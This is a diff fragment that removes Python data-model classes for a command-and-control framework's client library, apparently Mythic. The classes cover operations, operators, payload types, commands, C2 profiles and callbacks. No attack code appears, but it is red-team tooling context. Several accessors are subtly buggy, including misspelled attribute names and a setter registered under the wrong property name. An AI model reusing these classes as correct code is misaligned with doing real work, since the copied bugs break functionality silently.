- self._admin = admin
- else:
- self._admin = Operator(username=admin)
- self._complete = complete
- self._AESPSK = AESPSK
- self._webhook = webhook
- self._id = id
- if members is not None:
- if isinstance(members, list):
- self._members = [
- Operator(username=x) if isinstance(x, str) else Operator(**x) if isinstance(x, Dict) else x for x in members
- ]
- else:
- raise ValueError("members must be a list")
- else:
- self._members = members
-
- def to_json(self):
- r = {}
- for k in vars(self):
- if getattr(self, k) is not None:
- try:
- r[k[1:]] = getattr(self, k)
- except:
- r[k[1:]] = json.dumps(
- getattr(self, k), default=lambda o: o.to_json()
- )
- return r
-
- def __str__(self):
- return json.dumps(self.to_json())
-
- def __eq__(self, other):
- """Overrides the default implementation"""
- if isinstance(other, Operation):
- return self._name == other.name or (
- self._id is not None and other.id is not None and self._id == other.id
- )
- return False
-
- @property
- def name(self) -> str:
- return self._name
-
- @name.setter
- def name(self, name):
- self._name = name
-
- @property
- def admin(self) -> "Operator":
- return self._admin
-
- @admin.setter
- def admin(self, admin):
- if isinstance(admin, Operator) or admin is None:
- self._admin = admin
- else:
- self._admin = Operator(username=admin)
-
- @property
- def complete(self) -> bool:
- return self._complete
-
- @complete.setter
- def complete(self, complete):
- self._complete = complete
-
- @property
- def AESPSK(self) -> str:
- return self._AESPSK
-
- @AESPSK.setter
- def AESPSK(self, AESPSK):
- self._AESPSK = AESPSK
-
- @property
- def id(self) -> int:
- return self._id
-
- @id.setter
- def id(self, id):
- self._id = id
-
- @property
- def webhook(self) -> str:
- return self._webhook
-
- @webhook.setter
- def webhook(self, webhook):
- self._webhook = webhook
-
- @property
- def members(self) -> List["Operator"]:
- return self._members
-
- @members.setter
- def members(self, members):
- if members is not None:
- if isinstance(members, list):
- self._members = [
- Operator(username=x) if isinstance(x, str) else Operator(**x) if isinstance(x, Dict) else x for x in members
- ]
- else:
- raise ValueError("members must be a list")
- else:
- self._members = members
-
-
-class Operator:
- def __init__(
- self,
- username: str = None,
- password: str = None,
- admin: bool = None,
- creation_time: str = None,
- last_login: str = None,
- active: bool = None,
- current_operation: Union[Operation, str] = None,
- current_operation_id: int = None,
- ui_config: str = None,
- id: int = None,
- view_utc_time: bool = None,
- deleted: bool = None,
- view_mode: str = None,
- base_disabled_commands: str = None,
- ):
- self._username = username
- self._admin = admin
- self._creation_time = creation_time
- self._last_login = last_login
- self._active = active
- if isinstance(current_operation, Operation) or current_operation is None:
- self._current_operation = current_operation
- else:
- self._current_operation = Operation(name=current_operation)
- self._ui_config = ui_config
- self._id = id
- self._password = password
- self._view_utc_time = view_utc_time
- self._deleted = deleted
- if self._current_operation is not None:
- self._current_operation.id = current_operation_id
- if view_mode in ["spectator", "operator", "developer", None]:
- self._view_mode = view_mode
- else:
- raise Exception("Bad value for view_mode")
- self._base_disabled_commands = base_disabled_commands
-
- def to_json(self):
- r = {}
- for k in vars(self):
- if getattr(self, k) is not None:
- try:
- r[k[1:]] = getattr(self, k)
- except:
- r[k[1:]] = json.dumps(
- getattr(self, k), default=lambda o: o.to_json()
- )
- return r
-
- def __str__(self):
- return json.dumps(self.to_json())
-
- def __eq__(self, other):
- """Overrides the default implementation"""
- if isinstance(other, Operator):
- return self._username == other.username or (
- self._id is not None and other.id is not None and self._id == other.id
- )
- return False
-
- @property
- def username(self) -> str:
- return self._username
-
- @username.setter
- def username(self, username):
- self._username = username
-
- @property
- def admin(self) -> bool:
- return self._admin
-
- @admin.setter
- def admin(self, admin):
- self._admin = admin
-
- @property
- def creation_time(self) -> str:
- return self._creation_time
-
- @creation_time.setter
- def creation_time(self, creation_time):
- self._creation_time = creation_time
-
- @property
- def last_login(self) -> str:
- return self._last_login
-
- @last_login.setter
- def last_login(self, last_login):
- self._last_login = last_login
-
- @property
- def active(self) -> bool:
- return self._active
-
- @active.setter
- def active(self, active):
- self._active = active
-
- @property
- def current_operation(self) -> Operation:
- return self._current_operation
-
- @current_operation.setter
- def current_operation(self, current_operation):
- if isinstance(current_operation, Operation) or current_operation is None:
- self._current_operation = current_operation
- else:
- self._current_operation = Operation(name=current_operation)
-
- @property
- def ui_config(self) -> str:
- return self._ui_config
-
- @ui_config.setter
- def ui_config(self, ui_config):
- self._ui_config = ui_config
-
- @property
- def id(self) -> int:
- return self._id
-
- @id.setter
- def id(self, id):
- self._id = id
-
- @property
- def password(self) -> str:
- return self._password
-
- @password.setter
- def password(self, password):
- self._password = password
-
- @property
- def view_utc_time(self) -> bool:
- return self._view_utc_time
-
- @view_utc_time.setter
- def view_utc_time(self, view_utc_time):
- self._view_utc_time = view_utc_time
-
- @property
- def deleted(self) -> bool:
- return self._deleted
-
- @deleted.setter
- def deleted(self, deleted):
- self._deleted = deleted
-
- @property
- def view_mode(self) -> str:
- return self._view_mode
-
- @view_mode.setter
- def view_mode(self, view_mode):
- if view_mode in ["spectator", "operator", "developer", None]:
- self._view_mode = view_mode
- else:
- raise Exception("Bad value for view_mode")
-
- @property
- def base_disabled_commands(self) -> str:
- return self._base_disabled_commands
-
- @base_disabled_commands.setter
- def base_disabled_commands(self, base_disabled_commands):
- self._base_disabled_commands = base_disabled_commands
-
-
-class PayloadType:
- def __init__(
- self,
- ptype: str = None,
- creation_time: str = None,
- file_extension: str = None,
- wrapper: bool = None,
- wrapped: Union["PayloadType", str] = None,
- supported_os: str = None,
- last_heartbeat: str = None,
- container_running: bool = None,
- service: str = None,
- author: str = None,
- note: str = None,
- supports_dynamic_loading: bool = None,
- deleted: bool = None,
- build_parameters: List[Dict] = None,
- id: int = None,
- c2_profiles: List[Union["C2Profile", Dict]] = None,
- commands: List[Union["Command", str, Dict]] = None,
- ):
- self._ptype = ptype
- self._creation_time = creation_time
- self._file_extension = file_extension
- self._wrapper = wrapper
- if isinstance(wrapped, PayloadType) or wrapped is None:
- self._wrapped = wrapped
- else:
- self._wrapped_ = PayloadType(ptype=wrapped)
- self._supported_os = supported_os
- self._last_heartbeat = last_heartbeat
- self._container_running = container_running
- self._service = service
- self._id = id
- self._author = author
- self._note = note
- self._build_parameters = build_parameters
- self._supports_dynamic_loading = supports_dynamic_loading
- self._deleted = deleted
- if isinstance(c2_profiles, List):
- self._c2_profiles = [
- C2Profile(**x) if isinstance(x, Dict) else x for x in c2_profiles
- ]
- else:
- self._c2_profiles = c2_profiles
- if isinstance(commands, List):
- self._commands = [
- Command(**x)
- if isinstance(x, Dict)
- else Command(cmd=x)
- if isinstance(x, str)
- else x
- for x in commands
- ]
- else:
- self._commands = commands
-
- def to_json(self):
- r = {}
- for k in vars(self):
- if getattr(self, k) is not None:
- try:
- r[k[1:]] = getattr(self, k)
- except:
- r[k[1:]] = json.dumps(
- getattr(self, k), default=lambda o: o.to_json()
- )
- return r
-
- def __str__(self):
- return json.dumps(self.to_json())
-
- def __eq__(self, other):
- """Overrides the default implementation"""
- if isinstance(other, PayloadType):
- return self._ptype == other.ptype or (
- self._id is not None and other.id is not None and self._id == other.id
- )
- return False
-
- @property
- def ptype(self) -> str:
- return self._ptype
-
- @ptype.setter
- def ptype(self, ptype):
- self._ptype = ptype
-
- @property
- def operator(self) -> Operator:
- return self._operator
-
- @operator.setter
- def operator(self, operator):
- if isinstance(operator, Operator) or operator is None:
- self._operator = operator
- else:
- self._operator = Operator(username=operator)
-
- @property
- def creation_time(self) -> str:
- return self._creation_time
-
- @creation_time.setter
- def creation_time(self, creation_time):
- self._creation_time = creation_time
-
- @property
- def file_extension(self) -> str:
- return self._file_extension
-
- @file_extension.setter
- def file_extension(self, file_extension):
- self._file_extension = file_extension
-
- @property
- def wrapper(self) -> bool:
- return self._wrapper
-
- @wrapper.setter
- def wrapper(self, wrapper):
- self._wrapper = wrapper
-
- @property
- def wrapped(self) -> "PayloadType":
- return self._wrapped
-
- @wrapped.setter
- def wrapped(self, wrapped):
- if isinstance(wrapped, PayloadType) or wrapped is None:
- self._wrapped = wrapped
- else:
- self._wrapped_ = PayloadType(ptype=wrapped)
-
- @property
- def supported_os(self) -> str:
- return self._supported_os
-
- @supported_os.setter
- def supported_os(self, supported_os):
- self._supported_os = supported_os
-
- @property
- def last_heartbeat(self) -> str:
- return self._last_heartbeat
-
- @last_heartbeat.setter
- def last_heartbeat(self, last_heartbeat):
- self._last_heartbeat = last_heartbeat
-
- @property
- def container_running(self) -> bool:
- return self._container_running
-
- @container_running.setter
- def container_running(self, container_running):
- self._container_running = container_running
-
- @property
- def service(self) -> str:
- return self._service
-
- @service.setter
- def service(self, service):
- self._service = service
-
- @property
- def id(self) -> int:
- return self._id
-
- @id.setter
- def id(self, id):
- self._id = id
-
- @property
- def author(self) -> str:
- return self._author
-
- @author.setter
- def author(self, author):
- self._author = author
-
- @property
- def note(self) -> str:
- return self._note
-
- @note.setter
- def note(self, note):
- self._note = note
-
- @property
- def supports_dynamic_loading(self) -> bool:
- return self._supports_dynamic_loading
-
- @supports_dynamic_loading.setter
- def supports_dynamic_loading(self, supports_dynamic_loading):
- self._supports_dynamic_loading = supports_dynamic_loading
-
- @property
- def deleted(self) -> bool:
- return self._deleted
-
- @deleted.setter
- def deleted(self, deleted):
- self._deleted = deleted
-
- @property
- def build_parameters(self) -> List[Dict]:
- return self._build_parameters
-
- @build_parameters.setter
- def build_parameters(self, build_parameters):
- self._build_parameters = build_parameters
-
- @property
- def c2_profiles(self) -> List["C2Profile"]:
- return self._c2_profiles
-
- @c2_profiles.setter
- def c2_profiles(self, c2_profiles):
- if isinstance(c2_profiles, List):
- self._c2_profiles = [
- C2Profile(**x) if isinstance(x, Dict) else x for x in c2_profiles
- ]
- else:
- self._c2_profiles = c2_profiles
-
- @property
- def commands(self) -> List["Command"]:
- return self._commands
-
- @commands.setter
- def commands(self, commands):
- if isinstance(commands, List):
- self._commands = [
- Command(**x)
- if isinstance(x, Dict)
- else Command(cmd=x)
- if isinstance(x, str)
- else x
- for x in commands
- ]
- else:
- self._commands = commands
-
-
-class Command:
- def __init__(
- self,
- needs_admin: bool = None,
- help_cmd: str = None,
- description: str = None,
- cmd: str = None,
- payload_type: Union[PayloadType, str] = None,
- creation_time: str = None,
- version: int = None,
- is_exit: bool = None,
- is_file_browse: bool = None,
- is_process_list: bool = None,
- is_download_file: bool = None,
- is_remove_file: bool = None,
- is_upload_file: bool = None,
- author: str = None,
- mythic_version: int = None,
- deleted: bool = None,
- id: int = None,
- params: List[Union["CommandParameters", Dict[str, str]]] = None,
- ):
- self._needs_admin = needs_admin
- self._help_cmd = help_cmd
- self._description = description
- self._cmd = cmd
- if isinstance(payload_type, PayloadType) or payload_type is None:
- self._payload_type = payload_type
- else:
- self._payload_type = PayloadType(ptype=payload_type)
- self._creation_time = creation_time
- self._version = version
- self._is_exit = is_exit
- self._is_file_browse = is_file_browse
- self._is_process_list = is_process_list
- self._is_download_file = is_download_file
- self._is_remove_file = is_remove_file
- self._is_upload_file = is_upload_file
- self._author = author
- self._delted = deleted
- self._mythic_version = mythic_version
- self._id = id
- if params is not None and params != []:
- if isinstance(params, list):
- self._params = [
- CommandParameters(**x) if isinstance(x, Dict) else x for x in params
- ]
- else:
- raise ValueError("params must be a list")
- else:
- self._params = None
-
- def to_json(self):
- r = {}
- for k in vars(self):
- if getattr(self, k) is not None:
- try:
- r[k[1:]] = getattr(self, k)
- except:
- r[k[1:]] = json.dumps(
- getattr(self, k), default=lambda o: o.to_json()
- )
- return r
-
- def __str__(self):
- return json.dumps(self.to_json())
-
- def __eq__(self, other):
- """Overrides the default implementation"""
- if isinstance(other, Command):
- return (
- self._cmd == other.cmd
- and self._payload_type.ptype == other.payload_type.ptype
- ) or (
- self._id is not None and other.id is not None and self._id == other.id
- )
- return False
-
- @property
- def needs_admin(self) -> bool:
- return self._needs_admin
-
- @needs_admin.setter
- def needs_admin(self, needs_admin):
- self._needs_admin = needs_admin
-
- @property
- def help_cmd(self) -> str:
- return self._help_cmd
-
- @help_cmd.setter
- def help_cmd(self, help_cmd):
- self._help_cmd = help_cmd
-
- @property
- def description(self) -> str:
- return self._description
-
- @description.setter
- def description(self, description):
- self._description = description
-
- @property
- def cmd(self) -> str:
- return self._cmd
-
- @cmd.setter
- def cmd(self, cmd):
- self._cmd = cmd
-
- @property
- def payload_type(self) -> PayloadType:
- return self._payload_type
-
- @payload_type.setter
- def payload_type(self, payload_type):
- if isinstance(payload_type, PayloadType) or payload_type is None:
- self._payload_type = payload_type
- else:
- self._payload_type = PayloadType(ptype=payload_type)
-
- @property
- def creation_time(self) -> str:
- return self._creation_time
-
- @creation_time.setter
- def creation_time(self, creation_time):
- self._creation_time = creation_time
-
- @property
- def version(self) -> int:
- return self._version
-
- @version.setter
- def version(self, version):
- self._version = version
-
- @property
- def is_exit(self) -> bool:
- return self._is_exit
-
- @is_exit.setter
- def is_exit(self, is_exit):
- self._is_exit = is_exit
-
- @property
- def is_file_browse(self) -> bool:
- return self._is_file_browse
-
- @is_file_browse.setter
- def is_file_browse(self, is_file_browse):
- self._is_file_browse = is_file_browse
-
- @property
- def is_process_list(self) -> bool:
- return self._is_process_list
-
- @is_process_list.setter
- def is_process_list(self, is_process_list):
- self._is_process_list = is_process_list
-
- @property
- def is_download_file(self) -> bool:
- return self._is_download_file
-
- @is_download_file.setter
- def is_download_file(self, is_download_file):
- self._is_download_file = is_download_file
-
- @property
- def is_remove_file(self) -> bool:
- return self._is_remove_file
-
- @is_remove_file.setter
- def is_remove_file(self, is_remove_file):
- self._is_remove_file = is_remove_file
-
- @property
- def is_upload_file(self) -> bool:
- return self._is_upload_file
-
- @is_upload_file.setter
- def is_upload_file(self, is_upload_file):
- self._is_upload_file = is_upload_file
-
- @property
- def deleted(self) -> bool:
- return self._deleted
-
- @deleted.setter
- def deleted(self, deleted):
- self._deleted = deleted
-
- @property
- def author(self) -> str:
- return self._author
-
- @author.setter
- def author(self, author):
- self._author = author
-
- @property
- def mythic_version(self) -> int:
- return self._mythic_version
-
- @mythic_version.setter
- def mythic_version(self, mythic_version):
- self._mythic_version = mythic_version
-
- @property
- def id(self) -> int:
- return self._id
-
- @id.setter
- def id(self, id):
- self._id = id
-
- @property
- def params(self) -> List["CommandParameters"]:
- return self._params
-
- @params.setter
- def params(self, params):
- if isinstance(params, list):
- self._params = [
- CommandParameters(**x) if isinstance(x, Dict) else x for x in params
- ]
- elif params is None or params == []:
- self._params = None
- else:
- raise ValueError("params must be a list")
-
-
-class CommandParameters:
- def __init__(
- self,
- command: Union[
- Command, int
- ] = None, # database ID for the corresponding command
- cmd: str = None, # cmd string the command refers to (like shell)
- payload_type: Union[PayloadType, str] = None,
- name: str = None,
- type: str = None,
- default_value: str = None,
- description: str = None,
- supported_agents: str = None,
- choices: Union[List[str], str] = None,
- required: bool = None,
- id: int = None,
- ):
- if isinstance(command, Command) or command is None:
- self._command = command
- else:
- self._command = Command(id=command)
- self._cmd = cmd
- if isinstance(payload_type, PayloadType) or payload_type is None:
- self._payload_type = payload_type
- else:
- self._payload_type = PayloadType(ptype=payload_type)
- self._name = name
- self._type = type
- self._description = description
- self._supported_agents = supported_agents
- self._default_value = default_value
- if isinstance(choices, List) or choices is None:
- self._choices = choices
- else:
- self._choices = choices.split("\n")
- self._required = required
- self._id = id
-
- def to_json(self):
- r = {}
- for k in vars(self):
- if getattr(self, k) is not None:
- try:
- r[k[1:]] = getattr(self, k)
- except:
- r[k[1:]] = json.dumps(
- getattr(self, k), default=lambda o: o.to_json()
- )
- return r
-
- def __str__(self):
- return json.dumps(self.to_json())
-
- def __eq__(self, other):
- """Overrides the default implementation"""
- if isinstance(other, CommandParameters):
- return (
- self._name == other.name
- and (self._command == other.command)
- or (self._cmd == other.cmd)
- ) or (
- self._id is not None and other.id is not None and self._id == other.id
- )
- return False
-
- @property
- def command(self) -> Command:
- return self._command
-
- @command.setter
- def command(self, command):
- if isinstance(command, Command) or command is None:
- self._command = command
- else:
- self._command = Command(id=command)
-
- @property
- def name(self) -> str:
- return self._name
-
- @name.setter
- def name(self, name):
- self._name = name
-
- @property
- def type(self) -> str:
- return self._type
-
- @type.setter
- def type(self, type):
- self._type = type
-
- @property
- def description(self) -> str:
- return self._description
-
- @description.setter
- def description(self, description):
- self._description = description
-
- @property
- def supported_agents(self) -> str:
- return self._supported_agents
-
- @supported_agents.setter
- def supported_agents(self, supported_agents):
- self._supported_agents = supported_agents
-
- @property
- def default_value(self) -> str:
- return self._default_value
-
- @default_value.setter
- def default_value(self, default_value):
- self._default_value = default_value
-
- @property
- def choices(self) -> List[str]:
- return self._choices
-
- @choices.setter
- def choices(self, choices):
- if isinstance(choices, List) or choices is None:
- self._choices = choices
- else:
- self._choices = choices.split("\n")
-
- @property
- def required(self) -> bool:
- return self._required
-
- @required.setter
- def required(self, required):
- self._required = required
-
- @property
- def id(self) -> int:
- return self._id
-
- @id.setter
- def id(self, id):
- self._id = id
-
- @property
- def cmd(self) -> str:
- return self._cmd
-
- @cmd.setter
- def cmd(self, cmd):
- self._cmd = cmd
-
- @property
- def payload_type(self) -> PayloadType:
- return self._payload_type
-
- @payload_type.setter
- def payload_type(self, payload_type):
- if isinstance(payload_type, PayloadType) or payload_type is None:
- self._payload_type = payload_type
- else:
- self._payload_type = PayloadType(ptype=payload_type)
-
-
-class C2Profile:
- def __init__(
- self,
- name: str = None,
- description: str = None,
- creation_time: str = None,
- running: bool = None,
- last_heartbeat: str = None,
- container_running: bool = None,
- author: str = None,
- is_p2p: bool = None,
- is_server_routed: bool = None,
- mythic_encrypts: bool = None,
- deleted: bool = None,
- id: int = None,
- ptype: List[Union[PayloadType, str]] = None,
- parameters: Dict = None,
- ): # list of payload types that support this c2 profile
- self._name = name
- self._description = description
- self._creation_time = creation_time
- self._running = running
- self._last_heartbeat = last_heartbeat
- self._container_running = container_running
- self._id = id
- self._author = author
- self._is_p2p = is_p2p
- self._is_server_routed = is_server_routed
- self._mythic_encrypts = mythic_encrypts
- self._deleted = deleted
- if ptype is not None:
- if isinstance(ptype, list):
- self._ptype = [
- PayloadType(ptype=x) if isinstance(x, str) else x for x in ptype
- ]
- else:
- raise ValueError("ptype must be a list")
- else:
- self._ptype = ptype
- self._parameters = parameters
-
- def to_json(self):
- r = {}
- for k in vars(self):
- if getattr(self, k) is not None:
- try:
- r[k[1:]] = getattr(self, k)
- except:
- r[k[1:]] = json.dumps(
- getattr(self, k), default=lambda o: o.to_json()
- )
- return r
-
- def __str__(self):
- return json.dumps(self.to_json())
-
- def __eq__(self, other):
- """Overrides the default implementation"""
- if isinstance(other, C2Profile):
- return self._name == other.name or (
- self._id is not None and other.id is not None and self._id == other.id
- )
- return False
-
- @property
- def name(self) -> str:
- return self._name
-
- @name.setter
- def name(self, name):
- self._name = name
-
- @property
- def description(self) -> str:
- return self._description
-
- @description.setter
- def description(self, description):
- self._description = description
-
- @property
- def creation_time(self) -> str:
- return self._creation_time
-
- @creation_time.setter
- def creation_time(self, creation_time):
- self._creation_time = creation_time
-
- @property
- def running(self) -> bool:
- return self._running
-
- @running.setter
- def running(self, running):
- self._running = running
-
- @property
- def last_heartbeat(self) -> str:
- return self._last_heartbeat
-
- @last_heartbeat.setter
- def last_heartbeat(self, last_heartbeat):
- self._last_heartbeat = last_heartbeat
-
- @property
- def container_running(self) -> bool:
- return self._container_running
-
- @container_running.setter
- def container_running(self, container_running):
- self._container_running = container_running
-
- @property
- def id(self) -> int:
- return self._id
-
- @id.setter
- def id(self, id):
- self._id = id
-
- @property
- def ptype(self) -> List[PayloadType]:
- return self._ptype
-
- @ptype.setter
- def ptype(self, ptype):
- if isinstance(ptype, list):
- self._ptype = [
- PayloadType(ptype=x) if isinstance(x, str) else x for x in ptype
- ]
- elif ptype is None:
- self._ptype = ptype
- else:
- raise ValueError("ptype must be a list")
-
- @property
- def author(self) -> str:
- return self._author
-
- @author.setter
- def author(self, author):
- self._author = author
-
- @property
- def is_p2p(self) -> bool:
- return self._is_p2p
-
- @is_p2p.setter
- def is_p2p(self, is_p2p):
- self._is_p2p = is_p2p
-
- @property
- def is_server_routed(self) -> bool:
- return self._iis_server_routed
-
- @is_server_routed.setter
- def is_server_routed(self, is_server_routed):
- self._is_server_routed = is_server_routed
-
- @property
- def mythic_encrypts(self) -> bool:
- return self._mythic_encrypts
-
- @mythic_encrypts.setter
- def is_server_routed(self, mythic_encrypts):
- self._mythic_encrypts = mythic_encrypts
-
- @property
- def deleted(self) -> bool:
- return self._deleted
-
- @deleted.setter
- def deleted(self, deleted):
- self._deleted = deleted
- @property
- def parameters(self) -> Dict:
- return self._parameters
-
- @parameters.setter
- def parameters(self, parameters):
- self._parameters = parameters
-
-
-class C2ProfileParameters:
- """
- This class combines C2ProfileParameters and C2ProfileParametersInstance
- """
-
- def __init__(
- self,
- c2_profile: Union[C2Profile, str] = None,
- name: str = None,
- default_value: any = None,
- required: bool = None,
- verifier_regex: str = None,
- randomize: bool = None,
- parameter_type: str = None,
- description: str = None,
- id: int = None,
- value: any = None,
- instance_name: str = None,
- operation: Union[Operation, str] = None,
- callback: Union["Callback", int] = None,
- payload: Union["Payload", str] = None,
- ):
- if isinstance(c2_profile, C2Profile) or c2_profile is None:
- self._c2_profile = c2_profile
- else:
- self._c2_profile = C2Profile(name=c2_profile)
- self._name = name
- self._default_value = default_value
- self._required = required
- self._verifier_regex = verifier_regex
- self._parameter_type = parameter_type
- self._description = description
- self._instance_name = instance_name
- self._value = value
- self._randomize = randomize
- self._id = id
- if isinstance(payload, Payload) or payload is None:
- self._payload = payload
- else:
- self._payload = Payload(uuid=payload)
- if isinstance(operation, Operation) or operation is None:
- self._operation = operation
- else:
- self._operation = Operation(name=operation)
- if isinstance(callback, Callback) or callback is None:
- self._callback = callback
- else:
- self._callback = Callback(id=callback)
-
- def to_json(self):
- r = {}
- for k in vars(self):
- if getattr(self, k) is not None:
- try:
- r[k[1:]] = getattr(self, k)
- except:
- r[k[1:]] = json.dumps(
- getattr(self, k), default=lambda o: o.to_json()
- )
- return r
-
- def __str__(self):
- return json.dumps(self.to_json())
-
- def __eq__(self, other):
- """Overrides the default implementation"""
- if isinstance(other, C2ProfileParameters):
- return self._name == other.name and self._c2_profile == other.c2_profile
- return False
-
- @property
- def c2_profile(self) -> C2Profile:
- return self._c2_profile
-
- @c2_profile.setter
- def c2_profile(self, c2_profile):
- if isinstance(c2_profile, C2Profile) or c2_profile is None:
- self._c2_profile = c2_profile
- else:
- self._c2_profile = C2Profile(name=c2_profile)
-
- @property
- def name(self) -> str:
- return self._name
-
- @name.setter
- def name(self, name):
- self._name = name
-
- @property
- def verifier_regex(self) -> str:
- return self._verifier_regex
-
- @verifier_regex.setter
- def verifier_regex(self, verifier_regex):
- self._verifier_regex = verifier_regex
-
- @property
- def parameter_type(self) -> str:
- return self._parameter_type
-
- @parameter_type.setter
- def parameter_type(self, parameter_type):
- self._parameter_type = parameter_type
-
- @property
- def description(self) -> str:
- return self._description
-
- @description.setter
- def description(self, description):
- self._description = description
-
- @property
- def instance_name(self) -> str:
- return self._instance_name
-
- @instance_name.setter
- def instance_name(self, instance_name):
- self._instance_name = instance_name
-
- @property
- def default_value(self) -> any:
- return self._default_value
-
- @default_value.setter
- def default_value(self, default_value):
- self._default_value = default_value
-
- @property
- def required(self) -> bool:
- return self._required
-
- @required.setter
- def required(self, required):
- self._required = required
-
- @property
- def randomize(self) -> bool:
- return self._randomize
-
- @randomize.setter
- def randomize(self, randomize):
- self._randomize = randomize
-
- @property
- def id(self) -> int:
- return self._id
-
- @id.setter
- def id(self, id):
- self._id = id
-
- @property
- def value(self) -> any:
- return self._value
-
- @value.setter
- def value(self, value):
- self._value = value
-
- @property
- def payload(self) -> "Payload":
- return self._payload
-
- @payload.setter
- def payload(self, payload):
- if isinstance(payload, Payload) or payload is None:
- self._payload = payload
- else:
- self._payload = Payload(uuid=payload)
-
- @property
- def operation(self) -> Operation:
- return self._operation
-
- @operation.setter
- def operation(self, operation):
- if isinstance(operation, Operation) or operation is None:
- self._operation = operation
- else:
- self._operation = Operation(name=operation)
-
- @property
- def callback(self) -> "Callback":
- return self._callback
-
- @callback.setter
- def callback(self, callback):
- if isinstance(callback, Callback) or callback is None:
- self._callback = callback
- else:
- self._callback = Callback(id=callback)
-
-
-class Callback:
- def __init__(
- self,
- init_callback: str = None,
- last_checkin: str = None,
- user: str = None,
- host: str = None,
- pid: int = None,
- ip: str = None,
- os: str = None,
- domain: str = None,
- architecture: str = None,
- description: str = None,
- operator: Union[Operator, str] = None,
- active: bool = None,
- port: int = None,
- socks_task: int = None,
- pcallback: Union["Callback", int] = None,
- registered_payload: str = None, # corresponding payload's UUID
- payload_type: Union[PayloadType, str] = None, # corresponding payload's type
- c2_profile: Union[C2Profile, str] = None, # corresponding payload's c2 profile
- payload_description: str = None, # corresponding payload's description
- integrity_level: int = None,
- operation: Union[Operation, str] = None,
- encryption_type: str = None,
- decryption_key: str = None,
- encryption_key: str = None,
- locked: bool = None,
- locked_operator: str = None,
- tasks: List[Union["Task", Dict]] = None,
- id: int = None,
- agent_callback_id: str = None,
- extra_info: str = None,
- sleep_info: str = None,
- external_ip: str = None,
- payload_type_id: int = None,
- supported_profiles: List[Union[C2Profile, Dict]] = None,
- ):
- self._init_callback = init_callback
- self._last_checkin = last_checkin
- self._user = user
- self._host = host
- self._pid = pid
- self._ip = ip
- self._port = port
- self._socks_task = socks_task
- self._domain = domain
- self._description = description
- self._agent_callback_id = agent_callback_id
- self._external_ip = external_ip
- self._payload_type_id = payload_type_id
- self._locked_operator = locked_operator
- self._os = os
- self._architecture = architecture
- if isinstance(operator, Operator) or operator is None:
- self._operator = operator
- else:
- self._operator = Operator(username=operator)
- self._active = active
- if isinstance(pcallback, Callback) or pcallback is None:
- self._pcallback = pcallback
- elif pcallback == "null":
- self._pcallback = None
- else:
- self._pcallback = Callback(id=pcallback)
- if registered_payload is None:
- self._registered_payload = registered_payload
- else:
- self._registered_payload = Payload(uuid=registered_payload)
- if isinstance(payload_type, PayloadType) or payload_type is None:
- self._payload_type = payload_type
- else:
- self._payload_type = PayloadType(ptype=payload_type)
- if isinstance(c2_profile, C2Profile) or c2_profile is None:
- self._c2_profile = c2_profile
- else:
- self._c2_profile = C2Profile(name=c2_profile)
- self._payload_description = payload_description
- self._integrity_level = integrity_level
- if isinstance(operation, Operation) or operation is None:
- self._operation = operation
- else:
- self._operation = Operation(name=operation)
- self._encryption_type = encryption_type
- self._decryption_key = decryption_key
- self._encryption_key = encryption_key
- if isinstance(tasks, List):
- self._tasks = [Task(**x) if isinstance(x, Dict) else x for x in tasks]
- elif tasks is None:
- self._tasks = tasks
- else:
- self._tasks = [Task(**tasks) if isinstance(tasks, Dict) else tasks]
- self._id = id
- if supported_profiles is None:
- self._supported_profiles = supported_profiles
- else:
- self._supported_profiles = [x if isinstance(x, C2Profile) else C2Profile(**x) for x in supported_profiles]
-
- def to_json(self):
- r = {}
- for k in vars(self):
- if getattr(self, k) is not None:
- try:
- r[k[1:]] = getattr(self, k)
- except:
- r[k[1:]] = json.dumps(
- getattr(self, k), default=lambda o: o.to_json()
- )
- return r
-
- def __str__(self):
- return json.dumps(self.to_json())
-
- def __eq__(self, other):
- """Overrides the default implementation"""
- if isinstance(other, Callback):
- return self._id == other.id
- return False
-
- @property
- def init_callback(self) -> str:
- return self._init_callback
-
- @init_callback.setter
- def init_callback(self, init_callback):
- self._init_callback = init_callback
-
- @property
- def last_checkin(self) -> str:
- return self._last_checkin
-
- @last_checkin.setter
- def last_checkin(self, last_checkin):
- self._last_checkin = last_checkin
-
- @property
- def user(self) -> str:
- return self._user
-
- @user.setter
- def user(self, user):
- self._user = user
-
- @property
- def host(self) -> str:
- return self._host
-
- @host.setter
- def host(self, host):
- self._host = host
-
- @property
- def pid(self) -> int:
- return self._pid
-
- @pid.setter
- def pid(self, pid):
- self._pid = pid
-
- @property
- def ip(self) -> str:
- return self._ip
-
- @ip.setter
- def ip(self, ip):
- self._ip = ip
-
- @property
- def description(self) -> str:
- return self._description
-
- @description.setter
- def description(self, description):
- self._description = description
-
- @property
- def operator(self) -> Operator:
- return self._operator
-
- @operator.setter
- def operator(self, operator):
- if isinstance(operator, Operator) or operator is None:
- self._operator = operator
- else:
- self._operator = Operator(username=operator)
-
- @property
- def active(self) -> bool:
- return self._active
-
- @active.setter
- def active(self, active):
- self._active = active
-
- @property
- def pcallback(self) -> "Callback":
- return self._pcallback
-
- @pcallback.setter
- def pcallback(self, pcallback):
- if isinstance(pcallback, Callback) or pcallback is None:
- self._pcallback = pcallback
- elif pcallback == "null":
- self._pcallback = None
- else:
- self._pcallback = Callback(id=pcallback)
-
- @property
- def registered_payload(self) -> "Payload":
- return self._registered_payload
-
- @registered_payload.setter
- def registered_payload(self, registered_payload):
- if isinstance(registered_payload, Payload) or registered_payload is None:
- self._registered_payload = registered_payload
- else:
- self._registered_payload = Payload(uuid=registered_payload)
-
- @property
- def payload_type(self) -> PayloadType:
- return self._payload_type
-
- @payload_type.setter
- def payload_type(self, payload_type):
- if isinstance(payload_type, PayloadType) or payload_type is None:
- self._payload_type = payload_type
- else:
- self._payload_type = PayloadType(ptype=payload_type)
-
- @property
- def c2_profile(self) -> C2Profile:
- return self._c2_profile
-
- @c2_profile.setter
- def c2_profile(self, c2_profile):
- if isinstance(c2_profile, C2Profile) or c2_profile is None:
- self._c2_profile = c2_profile
- else:
- self._c2_profile = C2Profile(name=c2_profile)
-
- @property
- def payload_description(self) -> str:
- return self._payload_description
-
- @payload_description.setter
- def payload_description(self, payload_description):
- self._payload_description = payload_description
-
- @property
- def integrity_level(self) -> int:
- return self._integrity_level
-
- @integrity_level.setter
- def integrity_level(self, integrity_level):
- self._integrity_level = integrity_level
-
- @property
- def operation(self) -> Operation:
- return self._operation
-
- @operation.setter
- def operation(self, operation):
- if isinstance(operation, Operation) or operation is None:
- self._operation = operation
- else:
- self._operation = Operation(name=operation)
-
- @property
